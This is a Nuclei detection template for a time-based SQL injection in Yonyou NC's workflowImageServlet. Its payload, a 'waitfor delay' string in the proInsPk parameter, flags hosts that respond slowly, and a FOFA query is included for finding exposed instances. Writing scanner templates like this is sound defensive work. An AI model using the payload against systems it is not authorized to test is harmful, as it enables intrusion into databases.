yonyou-nc-workflowImageServlet-sqli.yaml

id: yonyou-nc-workflowImageServlet-sqli

info:
  name: Yonyou NC workflowImageServlet - SQL Injection
  author: Co5mos
  severity: high
  description: Detects SQL Injection vulnerability in Yonyou NC workflowImageServlet.
  reference:
    https://github.com/wy876/POC/commit/ee9d02fb7cece93cb920b0d4654468cc08acedd4
  metadata:
    fofa-query: icon_hash="1085941792"
  tags: yonyou,sqli

http:
  - raw:
      - |
        @timeout: 10s
        GET /portal/pt/servlet/workflowImageServlet/doPost?pageId=login&wfpk=1&proInsPk=1'waitfor+delay+'0:0:6'-- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
        condition: and